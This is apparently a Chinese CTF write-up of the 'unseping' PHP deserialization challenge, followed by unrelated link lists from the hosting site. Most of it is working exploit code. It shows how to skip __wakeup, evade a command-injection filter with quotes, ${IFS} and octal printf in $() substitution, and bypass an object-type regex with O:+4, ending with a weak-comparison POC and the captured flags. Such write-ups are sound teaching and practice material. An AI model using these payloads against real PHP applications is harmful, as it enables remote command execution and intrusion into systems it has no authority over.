unseping

题目源码

<?php
highlight_file(__FILE__); class ease{ private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
} function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
} function ping($ip){
exec($ip, $result);
var_dump($result);
} function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
} function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
} $ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

__wakeup绕过

     将需要进行反序列化的对象的序列化字符串中的成员数改为大于实际成员数即可。原理是:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

引号 双引号绕过

(1)整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

    先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls

    再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。

    接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

    综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

 (2)post上传构造后的序列化字符串来查看目录文件,构造方法是$method=ping,$arg为想要执行的外部命令ls,ls可以用''单引号或""双引号进行绕过,注意要闭合,此处是运用了Bash shell中单双引号的特性。另外还要注意$arg是数组的形式:

payload1

$test = new ease("ping",array('l""s'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

空格绕过

Linx命令中 ${IFS}

Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。
IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。
IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,可用于对空格进行绕过。

payload2

$test = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$a=serialize($test);
$b=base64_encode($a);
echo $b

得到数据

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

Bash shell空格绕过

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

printf绕过(字符串进制绕过)

Linux中的printf函数()

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。

\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。

\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。

\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

转ASCII转八绕过

cat flag_1s_here/flag_831b69012c67b35f.php

ASCII编码转为

99 97 116 32 102 108 97 103 95 49 115 95 104 101 114 101 47 102 108 97 103 95 56 51 49 98 54 57 48 49 50 99 54 55 98 51 53 102 46 112 104 112

八进制转为

\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160

$()与反引号

    在bash中,$( )与 (反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。

示例:命令:$ echo today is $(date "+%Y-%m-%d"),首先执行date命令,然后将执行结果替换后组成新的命令$echo today is 2014-07-01进行执行。显示:today is 2014-07-01。注意$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$。

payload3

由于php是后端语言 不会在前端显示 所以需要用printf进行输出

$test = new ease("ping",array('$(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160")'));
$a=serialize($test);
$b=base64_encode($a);
echo $b
在这个代码中,第一个 $ 是 Bash Shell 中的变量引用符号。当我们在命令行中输入$后跟着一个变量名时,Shell 会替换该变量为其对应的值。

在这个例子中,代码中的 $ 跟着 $(printf${IFS}"\143\141\164\040\146\154\141\147\137\061\163\137\150\145\162\145\057\146\154\141\147\137\070\063\061\142\066\071\060\061\062\143\066\067\142\063\065\146\056\160\150\160") ,意味着我们要将这个整个表达式作为命令行执行,并将命令行的输出结果作为值赋给数组的元素。

换句话说,这个代码片段中,使用$可以执行括号中的命令,并将命令的输出结果作为数组的元素。

得到结果

array(2){[0]=> string(5) " string(47) "//$cyberpeace{5e2df8ca0476abf594b980e8dc78f884}"}

得到flag

cyberpeace{5e2df8ca0476abf594b980e8dc78f884}

绕过正则表达式

(preg_match(’/[oc]:\d+:/i’, $var))

而正则匹配的规则是: 在不区分大小写的情况下 , 若字符串出现 “o:数字” 或者 "c:数字’ 这样的格式 , 那么就被过滤 .很明显 , 因为 serialize() 的参数为 object ,因此参数类型肯定为对象 " O " , 又因为序列化字符串的格式为 参数格式:参数名长度 , 因此 " O:4 " 这样的字符串肯定无法通过正则匹配绕过

而O:+4没被过滤说明绕过了过滤而且最后的值不变。

payload

$a=new Demo("fl4g.php");
$b=serialize($a);
$b=str_replace("O:4","O:+4",$b); #正则绕过
$b=str_replace(":1:",":2:",$b); #_wakeup()绕过
$c=base64_encode($b);
echo $c
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Base64编码后
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

弱比较绕过

if语句中使用双等号判断,可以想到使用弱比较

字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false

构造POC

<?php
$a=array("username"=>0,"password"=>0);
$b=serialize($a);
echo $b
?>
a:2:{s:8:"username";i:0;s:8:"password";i:0;}

传参得到flag

NSSCTF{3d6b55ed-5a19-4482-87c6-68b4c8c0fb9a}

PHP反序列化例题以及Bypass总结的更多相关文章

  1. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  2. PHP反序列化总结

    之前遇到过很多次php反序列化相关的内容,总结一下. (反)序列化给我们传递对象提供了一种简单的方法.serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象 ...

  3. weblogic之CVE-2016-3510反序列化分析

    将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对MarshalledObject进行序列化,生成payload字节码.由于Marshalle ...

  4. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

  5. CTF PHP反序列化

    目录 php反序列化 一.序列化 二.魔术方法 1.构造函数和析构函数 2.__sleep()和__wakeup() 3.__toString() 4.__set(), __get(), __isse ...

  6. php反序列化笔记

    普通的魔法方法 public,private,protected属性序列化后的不同 绕过wakeup session反序列化 phar反序列化 1.普通的魔法方法 __construct() 创建一个 ...

  7. Java反序列化漏洞从入门到深入(转载)

    前言 学习本系列文章需要的Java基础: 了解Java基础语法及结构(菜鸟教程) 了解Java面向对象编程思想(快速理解请上知乎读故事,深入钻研建议买本<疯狂Java讲义>另外有一个刘意老 ...

  8. php _weakup()反序列化漏洞

    概念&原理 序列化就是使用 serialize() 将对象用字符串的方式进行表示: 反序列化是使用 unserialize() 将序列化的字符串构造成相应的对象,为序列化的逆过程. 序列化的对 ...

  9. PHP序列化及反序列化分析学习小结

    PHP反序列化 最近又遇到php反序列化,就顺便来做个总结. 0x01 PHP序列化和反序列化 php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性.序 ...

  10. bypass disable_function的方法及蚁剑插件bypass-php-function使用

    bypass disable_function的方法及蚁剑插件bypass-php-function使用 在学习php时,发现有许多函数会对网站或系统造成很大危险隐患,常见的危险函数有: phpinf ...

随机推荐

  1. HarmonyOS运动开发:如何集成百度地图SDK、运动跟随与运动公里数记录

    前言 在开发运动类应用时,集成地图功能以及实时记录运动轨迹和公里数是核心需求之一.本文将详细介绍如何在 HarmonyOS 应用中集成百度地图 SDK,实现运动跟随以及运动公里数的记录. 一.集成百度 ...

  2. jsp技术之“如何在jsp中判断属性为空”

    一.判断对象列表为空不显示某段代码 <%-- 展开子属性 --%> <c:if test="${not empty product.variations}"> ...

  3. 在鸿蒙NEXT中开发一个2048小游戏

    本项目是基于api12开发的2048游戏,游戏的逻辑是当用户向某个方向滑动时,将该方向相邻且相等的数字相加,同时在空白区域的随机位置生成一个随机数字.游戏中的数字越大,分数越高. 首先,游戏的界面布局 ...

  4. React并发机制揭秘

    @charset "UTF-8"; .markdown-body { line-height: 1.75; font-weight: 400; font-size: 15px; o ...

  5. AI法律助手:打造普惠法律服务的未来

    当法律服务遇见人工智能,普通人的维权之路将不再艰难 当法律服务成为奢侈品,AI或许是唯一出路 2025年的一个深夜,我刷着手机,一条新闻让我停下了滑动的手指: "某平台家装工人因合同纠纷讨薪 ...

  6. 【.NET必读】RabbitMQ 4.0+重大变更!C#开发者必须掌握的6大升级要点

    RabbitMQ 作为一款广受欢迎的消息队列中间件,近年来从 3.x 版本升级到 4.0+,带来了显著的功能增强和架构调整.与此同时,其官方 C# 客户端也从 6.x 版本跃升至 7.0,引入了全新的 ...

  7. 仓颉开发语言入门教程:常见UI组件介绍和一些问题踩坑

    幽蓝君发现一个问题,仓颉开发语言距离发布马上一年了,一些知名App已经使用仓颉开发了许多功能,但是网络上关于仓颉开发语言的教程少之又少,系统性的教程更是没有,仓颉官网的文档也远远不如ArkTS详尽. ...

  8. Longest Palindromic Substring-----LeetCode进阶路⑤

    题目描述 Given a string s, find the longest palindromic substring in s. You may assume that the maximum ...

  9. 用QT、QImage来制作简单图像处理工具

    用QT.QImage来制作简单图像处理工具 源码地址: https://github.com/dependon/simple-image-filter 下载地址(windows版本) github 下 ...

  10. JVM 使用jstat分析系统的垃圾回收情况

    jstat -gcutil 输出结果分析_助你了解jvm命令,查找JVM堆栈信息,分析性能问题.下面介绍一下jstat命令: jstat:虚拟机统计信息监视工具(JVM Statistics Moni ...